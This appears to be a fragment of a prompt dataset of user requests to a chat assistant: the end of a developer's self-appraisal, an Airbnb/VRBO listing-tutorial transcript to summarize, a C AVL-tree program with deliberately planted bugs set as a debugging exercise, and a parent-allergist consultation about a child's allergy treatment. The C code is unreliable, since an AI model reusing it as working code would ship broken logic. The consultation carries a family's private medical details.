learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I always try and take the end-to-end development and deployment responsibilities of new services or features" -"Following is a youtube video transcript. Can you summarize it for me:\n\n0:00\nso i recommend posting to both airbnb\n0:02\nand vrbo regardless of what air dna says\n0:05\nwhere people are mainly listing in your\n0:06\narea if you don't what i'm talking about\n0:08\nhere here when you come and this is on\n0:09\nthe free version as well it'll show you\n0:11\nwhere hosts are listing their properties\n0:12\neither airbnb or vrp or both regardless\n0:14\nof what it says i think it's important\n0:16\nto be diversified on both platforms you\n0:18\nknow most cases most of your bookings\n0:19\nwill come from airbnb but you know again\n0:21\nit never hurts to be diversified you\n0:22\nknow reason being even if you get 10 to\n0:24\n20 of your bookings from vrbo that's\n0:26\nmoney that you're leaving on the table\n0:28\nand later in this training i'll be\n0:29\nshowing you how to automate your\n0:30\nmessaging and calendar on both platforms\n0:32\nanyway so i'll just take the few extra\n0:33\nminutes it will take to post a vrbo as\n0:35\nwell now before we jump in make sure to\n0:37\ncreate a brand new email for both\n0:38\nlistings just like we did when creating\n0:40\na separate bank account for your\n0:41\nbusiness same idea here we want to\n0:43\nseparate your personal from your\n0:45\nbusiness as much as possible to keep\n0:46\nthings clean now posting your listing is\n0:48\npretty intuitive and both platforms walk\n0:50\nyou through step by step but i'm going\n0:51\nto share a few things along the way that\n0:52\nare important to note this is just a\n0:54\nlittle tip that i picked up along the\n0:55\nway for whatever reason if you have a\n0:57\nsignificant other heck even if it's your\n0:59\nmom i would list their name here on the\n1:01\nlisting if you have a female name people\n1:02\nlike to book and it creates a layer of\n1:04\ntrust that i don't really understand but\n1:06\nonce i started putting my wife's name in\n1:08\nhere it seemed to get more booking so\n1:10\nyou know again this is one of those\n1:11\nplacebo things that i feel like is\n1:12\nworking so if it ain't broke then don't\n1:14\nfix it all right so let's go in here\n1:16\ncreate a new listing and again something\n1:17\nthat airbnb is shifting over to is\n1:20\ncreating a unique experience and so\n1:22\nwhatever you know you're going to be\n1:23\ndoing so let's say you're doing an\n1:24\napartment and then you also want to\n1:26\ndescribe what kind of place that you're\n1:28\nin so let's say we have a loft here\n1:30\nentire place and then let's say you know\n1:32\nwe want to pick your address let's say\n1:35\nit's right here let's say you can fit\n1:36\nsix people you can have four beds and\n1:39\nthey're say it's two-bedroom and then\n1:41\nyou wanna make sure you come in here and\n1:42\njust pick all of the different amenities\n1:44\nthat your place has you know especially\n1:45\nif it's an apartment then you wanna go\n1:47\nin here check all the amenities that\n1:48\nyour apartment offers and then you can\n1:50\ncome in here and just click all these on\n1:52\nagain this isn't gonna be the full\n1:53\ncomprehensive amenities that you can\n1:55\ninclude there's a lot more that you can\n1:56\nadd after you post your listing live all\n1:58\nright now this is super important and\n1:59\nthis is where your professional photos\n2:01\nwill come into play i'll use one of my\n2:02\nlistings photos to show you how i would\n2:04\nrearrange them depending on how i think\n2:06\nthey look and which photo really grabs\n2:07\nthe attention of the user the most so\n2:09\nhonestly this has done a pretty good job\n2:11\nof kind of choosing which photos to\n2:13\nchoose first anyway this one would\n2:14\ndefinitely be my feature photo just\n2:16\nbecause you know the tall you know\n2:18\ntongue and groove here on the ceiling\n2:19\nyou know it has really good contrast\n2:21\nreally pops you know we have this little\n2:23\naccent fireplace right here as well and\n2:25\nit really highlights you know that the\n2:26\nfurniture is really nice and clean and\n2:28\nit's really just a really good picture\n2:30\nand it's done really well for us this is\n2:31\nactually our first picture on our actual\n2:33\nlisting but you want to pick the best\n2:35\nfive photos that you have and you're\n2:37\ngoing to have anywhere from 30 to 50\n2:39\npictures so what i'll do here next and\n2:41\nlet's just take a look to see what we\n2:43\nhave okay so the next picture that i\n2:44\nwould like to do i'm gonna use this\n2:46\nmaster bedroom photo here it has the\n2:48\nblue borton band wall here that really\n2:50\njust pops out in pictures then i really\n2:51\nlike that to use as my second photo the\n2:53\nnext photo that i'll use here because we\n2:55\nhave the game room in this property this\n2:56\nis another good one just because you\n2:58\nknow shows that it's going to be a fun\n2:59\nenvironment if you have kids that you\n3:01\ncan have your kids go downstairs and\n3:02\nplay and hang out in the game room area\n3:04\nso i think this would be a good third\n3:06\nphoto the next photo that i'm going to\n3:07\nuse is use this you know outdoor area i\n3:10\nthink this is a really cool photo you\n3:11\nknow because people don't want to be\n3:12\nconfined in their space when they go on\n3:15\nvacation i also want to highlight that\n3:16\nthey can have this you know cool little\n3:18\noutdoor deck area where they can just\n3:19\nkind of hang out and chill and then we\n3:21\nneed one more so out of these photos i'm\n3:23\ngoing to use this one right here and\n3:24\nthen for the last photo here i'm going\n3:25\nto use this kitchen again because it\n3:27\nhighlights the tongue and groove it\n3:28\nshows that the kitchen's you know nice\n3:30\nand updated and then we have this long\n3:32\ntable here with this little breakfast\n3:33\nnook so i definitely like these five\n3:34\nphotos and what this will do it's really\n3:36\ngonna highlight your five best moments\n3:38\nin the house and that's how you wanna\n3:39\nthink of it when you choose your photos\n3:41\num this is really important so how this\n3:43\nwill look and i'll show you what it\n3:44\nlooks like on my actual listing so when\n3:46\nyou come in here it's going to have your\n3:47\nmain photo here and then it's going to\n3:49\nhave the other four photos here on the\n3:50\nright where you can you know highlight a\n3:52\nlittle bit more and then they can show\n3:53\nall photos and they can go down here so\n3:55\nat the time of this recording airbnb has\n3:56\nactually updated their algorithm and\n3:59\nwhen you go to the front page now this\n4:01\nis what it looks like so it doesn't have\n4:03\nany of the titles here it basically just\n4:04\nshows you where the airbnb is located\n4:07\nand then you can come in here and you\n4:08\ncan search by national parks cabins so\n4:10\nyou can't be unique with the listing\n4:12\ntitle anymore but that doesn't mean that\n4:13\nit's not important i'm just going to\n4:15\ncome in here and just kind of copy what\n4:16\ni've done with my one of my other\n4:17\nlistings here so you want to just make\n4:19\nit unique you know it's kind of\n4:20\nhighlight a few things because when the\n4:21\nperson actually clicks on your listing\n4:23\nthen you'll be able to see your title\n4:25\nbut when you're actually searching for\n4:26\nproperties you won't be able to see it\n4:28\njust shows you the location of where\n4:30\nit's at so you want to highlight the\n4:31\nvibe of your place so if it's unique\n4:33\nstylish you can just pick those and then\n4:35\nyour description is going to be really\n4:36\nimportant as well this is where you can\n4:38\nyou know tell a story about you know\n4:40\nwhat exactly your listing is going to do\n4:42\nand you know we have some examples that\n4:43\nyou can use on our listings that will\n4:45\nshare essentially what you want to do\n4:46\nthe format that we like to take here so\n4:48\nwe'd like to have you know a quick you\n4:50\nknow three sentence high level overview\n4:52\nof what you'll be experiencing if you\n4:53\ncome to our property and then we'd like\n4:55\nto do a bullet point list of all of the\n4:57\nthings that we offer and then we also\n4:59\ncome in here and just kind of describe\n5:00\neach uni if they want to dig a little\n5:02\nbit deeper into each part of the house\n5:03\nthey can just come in here and read all\n5:05\nthis so again you can copy this if you\n5:06\nwant and just kind of make it your own\n5:08\nright so so for here you know we don't\n5:10\nwant to worry about pricing in airbnb we\n5:12\ndo all this on price labs which i'm\n5:14\ngoing to share with you in a later\n5:14\nmodule so what you want to do is come in\n5:16\nhere and increase the pricing by at\n5:18\nleast three times what you normally\n5:19\nwould charge and the reason i do that is\n5:21\nonce you hit live your listing is going\n5:23\nto start showing up on the algorithm the\n5:25\nalgorithm actually favors people that\n5:27\njust have a brand new listing and it\n5:29\nputs it on the front page and so you\n5:31\ndon't want someone to come in here and\n5:32\nbook your listing at a really great\n5:34\ndiscount that's why 3x the price of what\n5:36\nmy normal base price would be so i can\n5:37\ncome in and update all of our software\n5:39\nautomations and tools and then super\n5:41\nimportant you want to offer this 20\n5:43\ndiscount for your first three guests and\n5:45\nwhat this will do it's gonna start\n5:47\nsnowballing get your reviews that way\n5:48\nyou can get started on a good foot and\n5:50\nreally get your bookings in right away\n5:51\nand again there's two different\n5:52\nstrategies that you can use so what i\n5:54\npersonally like to do is i like to\n5:55\nincrease the price by you know anywhere\n5:57\nfrom 15 to 20 percent of my base pricing\n6:00\nbecause you know when people see that\n6:01\nthey're getting a 20 discount\n6:02\npsychologically even if it's not really\n6:04\na discount they think they're getting a\n6:06\ngreat deal because they see the 20 off\n6:08\nyou can offset the discount by\n6:09\nincreasing your price so essentially\n6:10\nyou're netting the same i've also seen\n6:12\nother people lower the price and get\n6:14\nbookings that way just so they can start\n6:15\ngetting reviews i like to increase my\n6:17\nprice and that the same because i feel\n6:18\nlike your listing is optimized with\n6:20\ngreat photos and a great listing\n6:22\ndescription then you're gonna get\n6:23\nbookings if you're put on the front page\n6:25\nanyway so that's the way i like to look\n6:27\nat it but again that's completely up to\n6:28\nyou so then you wanna you know make sure\n6:30\nthat you come in here and you know if\n6:32\nyou have security cameras you want to\n6:33\nlist that come in here review your\n6:34\nlisting once you're ready publish your\n6:36\nlisting and then go in and unlist it\n6:38\njust because we're going to onboard a\n6:39\ncouple of software automation tools\n6:41\nfirst before we go officially live so a\n6:43\ncouple things to note for the amount of\n6:44\nguests that i allow and\n6:46\nthe rule of thumb that i like to use is\n6:48\ni like to put one person per every 100\n6:50\nsquare feet of your property and also\n6:52\ndepends on the amount of rooms that you\n6:54\nhave and also it's going to depend on\n6:55\ndifferent regulations and laws in your\n6:57\nspecific area some places no matter how\n6:59\nbig it is will only allow you know six\n7:01\nguests or eight guests you have to make\n7:03\nsure you know those regulations and laws\n7:05\ni like to use four mattresses don't use\n7:07\nblow up mattresses because those you\n7:08\nknow can pop they always deflate no\n7:10\nmatter you know how well you take care\n7:12\nof them so you can use floor mattresses\n7:14\num you can also use the pull out couches\n7:16\nit really depends on your area and i'll\n7:18\nshow you what your budget is again\n7:19\ncreating a great listing description is\n7:21\nreally important because it really sells\n7:22\nthe guest on your listing and what i\n7:24\nlike to do is i like to go on the front\n7:26\npage of my area that i'm going to be in\n7:29\nand see what the top performers are\n7:30\ndoing and kind of take inspiration here\n7:32\nand there and make it your own obviously\n7:34\ndon't just copy them verbatim but you\n7:36\nwant to see what the top performers are\n7:37\ndoing and then i know i'm going to get\n7:38\nasked this question as well we like to\n7:40\nuse a strict cancellation policy on ours\n7:42\nand then cleaning fee you want to make\n7:44\nsure that you pad yours anywhere from 15\n7:46\nto 30 percent because the guest is going\n7:47\nto be paying this anyway obviously\n7:49\nthat's going to depend on the cleaner if\n7:50\nyou find a great cleaner that charges a\n7:52\nlittle bit more than what your\n7:54\ncompetition is charging i think it's\n7:56\nworth having them just because you'll\n7:57\nhave less headaches down the line and\n7:59\nagain i always like to pad my cleaning\n8:00\ncosts just because i use that as\n8:02\nreserves for maintenance repairs you\n8:04\nknow anything else that might come up\n8:06\nand also to tip my cleaners as well and\n8:08\nthen another really important thing you\n8:09\nwant to do is you want to charge more\n8:11\nper guest after let's say you know five\n8:14\nto six guests depending on how big your\n8:16\nlisting is and i'll add anywhere from\n8:17\ntwenty to thirty dollars more per night\n8:19\nand what this is going to do this is\n8:21\ngoing to allow you to increase your\n8:22\naverage daily rate just by more guests\n8:24\ncoming in and again people are gonna lie\n8:26\nabout how many guests they're bringing\n8:27\nso you wanna enforce these rules on your\n8:29\nsecurity camera and you wanna see how\n8:30\nmany guests are actually coming in this\n8:32\nis a really easy way to increase your\n8:33\naverage daily rate just because if you\n8:35\nhave you know let's say three more\n8:37\nguests after six that's almost 100 bucks\n8:39\nextra per night that you can charge and\n8:41\nif you have a great listing if you\n8:43\nfollow everything else in this training\n8:45\nyour listing is going to be so optimized\n8:46\nthat people are going to want to book\n8:47\nyour place they're going to pay that\n8:49\npremium to stay at your place so make\n8:50\nsure that you do that so once your\n8:51\nlisting is live you can come in here and\n8:52\nadd a co-host just put that you pay them\n8:54\nzero dollars and obviously you can pay\n8:55\nthem outside of the actual listing but i\n8:57\nwouldn't pay them through airbnb so yeah\n8:59\nso this is how you set that up you can\n9:01\njust add co-hosts and you just add their\n9:03\nemail here" -'#include \n#include \n\nstruct AVLnode\n{\n int key;\n struct AVLnode \\*left;\n struct AVLnode \\*right;\n int height;\n};\ntypedef struct AVLnode avlNode;\n\nint max(int a, int b) { return (a > b) ? a : b; }\n\navlNode \\*newNode(int key)\n{\n avlNode \\*node = (avlNode \\*)malloc(sizeof(avlNode));\n\n if (node == NULL)\n printf("!! Out of Space !!\\n");\n else\n {\n node->key = key;\n node->height = 0;\n }\n\n return node;\n}\n\nint nodeHeight(avlNode \\*node)\n{\n if (node == NULL)\n return 0;\n else\n return (node->height);\n}\n\nint heightDiff(avlNode \\*node)\n{\n if (node == NULL)\n return -1;\n else\n return (nodeHeight(node->left) - nodeHeight(node->right));\n}\n\n/\\* Returns the node with min key in the left subtree\\*/\navlNode \\*minNode(avlNode \\*node)\n{\n avlNode \\*temp = node;\n\n while (temp->left != NULL) temp = temp->left;\n\n return temp\n}\n\nvoid printAVL(avlNode \\*node, int level)\n{\n int i;\n if (node != NULL)\n {\n printAVL(node->right, level);\n printf("\\n\\n");\n\n for (i = 0; i < level; i++) printf("\\t");\n\n printf("%d", node->key);\n\n printAVL(node->left, level + 1);\n }\n}\n\navlNode \\*rightRotate(avlNode \\*z)\n{\n avlNode \\*y = z->left;\n avlNode \\*T3 = y->right;\n\n y->right = z+1;\n z->left = T3;\n\n z->height = (max(nodeHeight(z->left), nodeHeight(z->right)) + 1);\n y->height = (max(nodeHeight(y->left), nodeHeight(y->right)) + 1);\n\n return y;\n}\n\navlNode \\*leftRotate(avlNode \\*z)\n{\n avlNode \\*y = z->right;\n avlNode \\*T3 = y->left;\n\n y->left = z+1;\n z->right = T3;\n\n z->height = (max(nodeHeight(z->left), nodeHeight(z->right)) + 1);\n y->height = (max(nodeHeight(y->left), nodeHeight(y->right)) + 1);\n\n return y;\n}\n\navlNode \\*LeftRightRotate(avlNode \\*z)\n{\n z->left = leftRotate(z->left);\n\n return (rightRotate(z));\n}\n\navlNode \\*RightLeftRotate(avlNode \\*z)\n{\n z->right = rightRotate(z->right);\n\n return (leftRotate(z));\n}\n\navlNode \\*insert(avlNode \\*node, int key)\n{\n if (node == NULL)\n return (newNode(key));\n\n /\\*Binary Search Tree insertion\\*/\n\n if (key < node->key)\n node->left =\n insert(node->left, key); /\\*Recursive insertion in L subtree\\*/\n else if (key > node->key)\n node->right =\n insert(node->right, key); /\\*Recursive insertion in R subtree\\*/\n\n /\\* Node Height as per the AVL formula\\*/\n node->height = (max(nodeHeight(node->left), nodeHeight(node->right)) + 1);\n\n /\\*Checking for the balance condition\\*/\n int balance = heightDiff(node);\n\n /\\*Left Left \\*/\n if (balance > 1 && key < (node->left->key))\n return rightRotate(node);\n\n /\\*Right Right \\*/\n if (balance < -1 && key > (node->right->key))\n return leftRotate(node);\n\n /\\*Left Right \\*/\n if (balance > 1 && key > (node->left->key))\n {\n node = LeftRightRotate(node);\n }\n\n /\\*Right Left \\*/\n if (balance < -1 && key < (node->right->key))\n {\n node = RightLeftRotate(node);\n }\n\n return node;\n}\n\navlNode \\*delete (avlNode \\*node, int queryNum)\n{\n if (node == NULL)\n return 0;\n\n if (queryNum < node->key)\n node->left =\n delete (node->left, queryNum); /\\*Recursive deletion in L subtree\\*/\n else if (queryNum > node->key)\n node->right =\n delete (node->right, queryNum); /\\*Recursive deletion in R subtree\\*/\n else\n {\n /\\*Single or No Children\\*/\n if ((node->left == NULL) || (node->right == NULL))\n {\n avlNode \\*temp = node->left ? node->left : node->right;\n\n /\\* No Children\\*/\n if (temp == NULL)\n {\n temp = node;\n node = NULL;\n }\n else /\\*Single Child : copy data to the parent\\*/\n \\*node = \\*temp;\n\n free(temp);\n }\n else\n {\n /\\*Two Children\\*/\n\n /\\*Get the smallest key in the R subtree\\*/\n avlNode \\*temp = minNode(node->right);\n node->key = temp->key; /\\*Copy that to the root\\*/\n node->right =\n delete (node->right,\n temp->key); /\\*Delete the smallest in the R subtree.\\*/\n }\n }\n\n /\\*single node in tree\\*/\n if (node == NULL)\n return node;\n\n /\\*Update height\\*/\n node->height = (max(nodeHeight(node->left), nodeHeight(node->right)) + 1);\n\n int balance = heightDiff(node);\n\n /\\*Left Left \\*/\n if ((balance > 1) && (heightDiff(node->left) >= 0))\n return rightRotate(node);\n\n /\\*Left Right \\*/\n if ((balance > 1) && (heightDiff(node->left) < 0))\n {\n node = LeftRightRotate(node);\n }\n\n /\\*Right Right \\*/\n if ((balance < -1) && (heightDiff(node->right) >= 0))\n return leftRotate(node);\n\n /\\*Right Left \\*/\n if ((balance < -1) && (heightDiff(node->right) < 0))\n {\n node = RightLeftRotate(node);\n }\n\n return node;\n}\n\navlNode \\*findNode(avlNode \\*node, int queryNum)\n{\n if (node != NULL)\n {\n if (queryNum < node->key)\n node = findNode(node->left, queryNum);\n else if (queryNum > node->key)\n node = findNode(node->right, queryNum);\n }\n\n return 0;\n}\n\nvoid printPreOrder(avlNode \\*node)\n{\n if (node == NULL)\n return;\n\n printf(" %d ", (node->key));\n printPreOrder(node->left);\n\n}\n\nvoid printInOrder(avlNode \\*node)\n{\n if (node == NULL)\n return 0;\n printInOrder(node->left);\n printf(" %d ", (node->key));\n printInOrder(node->right);\n}\n\nvoid printPostOrder(avlNode \\*node)\n{\n if (node == NULL)\n return 0;\n printPostOrder(node->left);\n printPostOrder(node->right);\n printf(" %d ", (node->key));\n}\n\nint main()\n{\n int choice;\n int flag = 1;\n int insertNum;\n int queryNum;\n\n avlNode \\*root = NULL;\n avlNode \\*tempNode;\n\n while (flag == 1)\n {\n printf("\\n\\nEnter the Step to Run : \\n");\n\n printf("\\t1: Insert a node into AVL tree\\n");\n printf("\\t2: Delete a node in AVL tree\\n");\n printf("\\t3: Search a node into AVL tree\\n");\n printf("\\t4: printPreOrder (Ro L R) Tree\\n");\n printf("\\t5: printInOrder (L Ro R) Tree\\n");\n printf("\\t6: printPostOrder (L R Ro) Tree\\n");\n printf("\\t7: printAVL Tree\\n");\n\n printf("\\t0: EXIT\\n");\n scanf("%d", &choice);\n\n switch (choice)\n {\n case 0:\n {\n flag = 0;\n printf("\\n\\t\\tExiting, Thank You !!\\n");\n break;\n }\n\n case 1:\n {\n printf("\\n\\tEnter the Number to insert: ");\n scanf("%d", &insertNum);\n\n tempNode = findNode(root, insertNum);\n\n if (tempNode != NULL)\n printf("\\n\\t %d Already exists in the tree\\n", insertNum);\n else\n {\n printf("\\n\\tPrinting AVL Tree\\n");\n printAVL(root, 1);\n printf("\\n");\n\n root = insert(root, insertNum);\n printf("\\n\\tPrinting AVL Tree\\n");\n printAVL(root, 1);\n printf("\\n");\n }\n\n break;\n }\n\n case 2:\n {\n printf("\\n\\tEnter the Number to Delete: ");\n scanf("%d", &queryNum);\n\n tempNode = findNode(root, queryNum);\n\n if (tempNode == NULL)\n printf("\\n\\t %d Does not exist in the tree\\n", queryNum);\n else\n {\n printf("\\n\\tPrinting AVL Tree\\n");\n printAVL(root, 1);\n printf("\\n");\n root = delete (root, queryNum);\n\n printf("\\n\\tPrinting AVL Tree\\n");\n printAVL(root, 1);\n printf("\\n");\n }\n\n break;\n }\n\n case 3:\n {\n printf("\\n\\tEnter the Number to Search: ");\n scanf("%d", &queryNum);\n\n tempNode = findNode(root, queryNum);\n\n if (tempNode == NULL)\n printf("\\n\\t %d : Not Found\\n", queryNum);\n else\n {\n printf("\\n\\t %d : Found at height %d \\n", queryNum,\n tempNode->height);\n\n printf("\\n\\tPrinting AVL Tree\\n");\n printAVL(root, 1);\n printf("\\n");\n }\n\n break;\n }\n\n case 4:\n {\n printf("\\nPrinting Tree preOrder\\n");\n printPreOrder(root);\n\n break;\n }\n\n case 5:\n {\n printf("\\nPrinting Tree inOrder\\n");\n printInOrder(root);\n\n break;\n }\n\n case 6:\n {\n printf("\\nPrinting Tree PostOrder\\n");\n printPostOrder(root);\n\n break;\n }\n\n case 7:\n {\n printf("\\nPrinting AVL Tree\\n");\n printAVL(root, 1);\n\n break;\n }\n\n default:\n {\n flag = 0;\n printf("\\n\\t\\tExiting, Thank You !!\\n");\n break;\n }\n }\n }\n\n return 0;\n} In each of the functions involving nodes there is an error. Identify it as syntax or logical. Please note that some statements might also be missing. Just report these error. DONT EXPLAIN ANY STUFF' -"Continued transcript. Please read and provide an updated executive summary.\n\nTom 15:09 \nWe have it's just you know, those are those all those, that's all seem to well, it really bothered him right like getting him to do it was really common. He doesn't like things going up his nose, but also also just kind of like being worried about the long term effects of that like I used to do that myself different sprays and it ended up screwing up all my sinuses and all this like, I solved a bunch of my sinus problems by just doing saline rinses. And I haven't had a cold in like five years. Because every time I start to feel anything, I go do my Arm and Hammer nasal rants and I spray into everything out and then I reboot my sinuses doesn't work. Clean it out. Yeah. And then I go get a gold, I don't know, I have avoided COVID I've already cold I have nothing. I haven't had anything in like five years ever since ever since doing saline rinses. But and before that I had years and years of sinus infections and everything while trying to manage them with flow neighs and all these different things. So I guess you could say that I have maybe a little bit of a bias against no sprays. And maybe I'm being unfair in that regard. But maybe that's why we didn't really pursue it a whole lot.\n\nAllergist 16:28 \nYeah, I mean, and you're also right, like little kids don't typically make it easy if you're trying to spray anything on their nose. So that can sometimes be just more of a battle. But then it's worse. So I understand that. But from kind of a treatment standpoint, with kind of Thomas's age, we do have two forms of treatment available. One is kind of your standard allergy shots. And so that basically starts out with, you know, weekly injections in the back of the arm, starting at like a super small, diluted dose and building all the way up to maintenance. We, we typically do weekly injections, if you come in once a week, every week, it's about 45 weeks of weekly injections before people get up to maintenance. And then at that point, we transition to monthly injections. And you're on the monthly injections once a month for about three to five years. So it is kind of a commitment just because environmental allergies do do take quite a bit of time for the body to become less sensitive to those allergens and produce a long term tolerance that that would last rather than sometimes if you've come off of allergy shots too soon, people with symptoms will will return. And you won't get much, much time as far as symptoms, you know, staying away. Yeah. So kind of the standard,\n\nTom 18:05 \nI can definitely say that. He hates shots. And it might very well be that we just have to do the nose spray thing because I'm pretty sure I can get them to tolerate no spray is more than getting to tolerate weekly shots.\n\nAllergist 18:21 \nYes. The other caveat is we have something called sublingual immunotherapy or select for short. And this, this treatment is a lot of times targeted towards kids who are less than five years old or who can't tolerate shots. And so basically, we're still looking at like a three year timeframe. But instead of shots, what we do is we administer the dose as a drop under the tongue. And so you come into clinic, it's four appointments, each appointment is about an hour long, we administer the dose under the tongue and wait an hour just to make sure it's really well tolerated. Before we send you guys on your way. At home, you would do one one drop every day, or five to seven days before increasing to two for the same time period three, and four. Once you guys got to four drops, you just hold there until you come back to clinic to increase to the next concentration. So we do that about four times. And then once you get to four drops at the highest concentration, you just hold there once a day every day for three years. Repeat skin test at the three year mark, kind of looking for the same thing decreased by about 90% to signify that we've desensitize the body to those allergies and then at that point, you can come off of this lip drops.\n\nTom 19:52 \nOkay. Is there a way to combine that with the dairy\n\nAllergist 19:57 \nlike in the same appointment or Yeah, so you're asking? We typically don't We don't do that because if there is an adverse reaction, we want to know what to so we can address it appropriately as to which one we need to decrease. So typically, we like to do one thing at a time.\n\nTom 20:18 \nOkay, what about what about when he they have multiple allergens to multiple like dogs and cats, you literally have to do a session for each one. So if you don't have to do a session for each for dogs and cats, why would you have to do a separate session for dairy? Why not combine dogs, cats and dairy?\n\nAllergist 20:37 \nUm, well, so it's no different than like allergy shots. environmental allergies can be combined to like when someone comes in for an allergy shot, and they have pollen allergies, you know, there are tons of pollen allergies, and if you if you gave someone a shot for each one, someone might be getting like 50 some shots. Yeah. Yeah, so for environmental is we can group them all in the same vial. There's, I mean, there's only so much space, but we can group a ton of them in the same vial until we run out of space, essentially. But we just can't mix food and environmental\n\nTom 21:13 \naudit. Okay, so for the food when What about what if a visitor to two kinds of foods because you would you still do each food allergy separate? And then but only environmental ones can be combined? Is that as it how it works? Yeah.\n\nAllergist 21:25 \nSo it kind of depends on the foods, like certain foods we can do together. So like, if people come in and they have, you know, three or four nut allergies, we can do the oh, it to all the nuts combined. But like if we were dealing with like milk and not, because one is like, you know, a dry, crushed form one's liquid. That becomes too challenging. We can't really mix those well. Okay. So, in that sense, sometimes, yes, sometimes. No, it just depends on the person's food allergy. We're dealing with.\n\nTom 21:58 \nOkay, yeah. All right. Well, I would definitely say that the the sublingual therapy for his environmental allergies is something that I'm very interested in. Yeah. And also the, I mean, the two things, unfortunately, are your clinics up in Bellevue, I think we're down here in Tacoma. So if we're going to do this, it would involve a lot of traveling a lot of lot of times,\n\nAllergist 22:27 \nyeah, the night that's why the sublingual was also a little bit of a nicer option for environmental if you live further away, because you're not having to come to clinic, like once a week, you know, obviously, there are four visits, but then after that, you're just kind of maintaining their dose at home. Okay. So it'd be like, you know, four visits, if you, if you did it, you know, or visits roughly three to four weeks apart for a couple of months, if everything goes really smoothly. After four months, he's on that maintenance dose, and just holding, which is nice, because then he was holding there, making sure his bodies you know, getting that daily exposure at a well tolerated dose so that we can you know, teach it to be less sensitive. The Oh, it is obviously more challenging that something we're not really obviously willing to let people do at home just because, you know, we're dealing with more severe anaphylactic reactions. And we don't want to kind of have any anaphylaxis at home if we can help from it. So that's why we like to do the up dosing in clinic and more controlled environment.\n\nTom 23:34 \nThat makes sense. So if we did the dairy when how often we have to come up there.\n\nAllergist 23:45 \nSo the nice thing about it is as long as he is getting his daily dose at home, in theory as much time could elapse between appointments. So because you guys are traveling, you could always come in less frequently. I would say standard, most people come in once every two to three weeks. But we do have some people who come in once a month or you know, once every six to eight weeks and just up dose a little bit more slowly. So that's a little bit based on your guys's schedule. And obviously, the fact that you guys would be commuting from Tacoma.\n\nTom 24:22 \nOkay, what do you need to come off of the Zyrtec and allergy medicine while he was doing this?\n\nAllergist 24:29 \nNo. We, we understand that people have environmental allergies. And so if it's something that he takes daily to manage those symptoms, we don't we don't have people come off of them.\n\nTom 24:42 \nOkay, okay. I just didn't know if it might affect his body's like ability to build up immunity or something or if it would affect your testing like, gives you a false negative or something.\n\nAllergist 24:54 \nYeah, so sometimes like if people are on a dailies or kick you know, and then when They they just randomly stop, you know, it might have been suppressing the immune system enough to make the dose more tolerant, and they might have an allergic reaction. So that's one kind of consideration. But we also know we don't want people to be absolutely miserable struggling with environmental allergy symptoms in the middle of pollen season. Because that can sometimes be very miserable for them. So\n\nTom 25:25 \nI guess what I'm getting at is should we take him off of his our tech, while we're establishing the maintenance dose? Would that be a good idea?\n\nAllergist 25:33 \nYeah, I mean, it wouldn't hurt but if his environmental allergy symptoms are too too much, we, we recommend that people take their antihistamines just to prevent those symptoms. Because sometimes, like, you know, if your environmental allergy symptoms are significant, it can sometimes make it hard to distinguish Oh, is your nose runny? Because of your environmental allergies? Or are you reacting to your dose? Yeah, so it's a little bit of a catch 22 there but we just do our very best to assess and make sure that we're not missing an allergic reaction. Okay.\n\nTom 26:13 \nWell, I mean, I already know enough about this to know are already want to move forward. So what do we do from here?\n\nAllergist 26:21 \nYes, so a couple of follow up questions really quick. How long has it been since Thomas did any sort of bloodwork for his milk allergy? Just to get a baseline we wouldn't have to wait for the adults to come back before starting but okay, curious.\n\nTom 26:34 \nYeah. Um, I I can ask his mom that we can get all that sent over to you I guess. I think whatever paperwork or any of that we have there Yeah, and the release for the other allergy stuff. I don't think I think the last time we had blood work was when we were in Arizona. So I think I think that would have been like two years ago.\n\nAllergist 27:03 \nOkay, yeah, you can confirm your your partner and then if it has been you know, more than a year we can always send you guys a lab order over Clara to like a LabCorp request something that's close to you guys and Tacoma and you can just kind of get that done at your earliest convenience and then though, send us the results\n\nTom 27:22 \nYeah, I'll be honest with you I'm not super happy with his with the allergist clinic down here and I don't even know if they blood if when he was blood tested that the right things were blood tested you know for especially for this region, you know, we live in Washington it might be a good idea to do that lap and just like what what blood tests what things would you recommend that we had some test you know,\n\nAllergist 27:55 \ndefinitely interested in seeing what his overall milk value would be as well as kind of one of the most common proteins in milk is casein so we'll usually test that just to see how allergic he is to that particular protein. If you're interested we have the ability to do just a Western Washington environmental panel to look at some of the more common tree weed\n\nTom 28:20 \nyeah that's that's definitely something I'm interested in yes yeah. Yeah, so that that\n\nAllergist 28:25 \nwould be my initial like go to doesn't sound like he's avoiding any other foods or has any other issues to foods is that correct?\n\nTom 28:34 \nYeah, the only food we're aware of that he has issues with his dairy there was a period when he was younger where he their eggs were so we're sort of appearing on it but a little bit that as far as I know it's gonna He's never had an any type of noticeable allergic reaction to eggs\n\nAllergist 28:50 \ncould have been a false positive or just very mild allergen at one Yeah.\n\nTom 28:54 \nYeah. So I don't know I 